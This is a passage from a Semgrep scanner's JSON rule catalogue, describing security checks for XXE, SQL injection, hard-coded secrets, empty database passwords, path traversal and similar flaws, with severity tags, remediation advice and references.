supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","id":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","name":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"help":{"markdown":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use)\n - [https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html](https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html)\n - [https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation](https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation)\n - [http://phrack.org/papers/escaping_the_java_sandbox.html](http://phrack.org/papers/escaping_the_java_sandbox.html)\n","text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"helpUri":"https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use","id":"java.lang.security.do-privileged-use.do-privileged-use","name":"java.lang.security.do-privileged-use.do-privileged-use","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.do-privileged-use.do-privileged-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","id":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","name":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string","id":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","name":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli)\n - [https://www.npmjs.com/package/mssql](https://www.npmjs.com/package/mssql)\n","text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","id":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","name":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"help":{"markdown":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","id":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","name":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"help":{"markdown":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation)\n - [https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib](https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib)\n","text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"helpUri":"https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation","id":"python.requests.security.disabled-cert-validation.disabled-cert-validation","name":"python.requests.security.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"help":{"markdown":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","id":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","name":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal","id":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","name":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal.laravel-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","id":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","name":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","id":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","name":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","id":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","name":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","id":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","name":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","id":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","name":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To 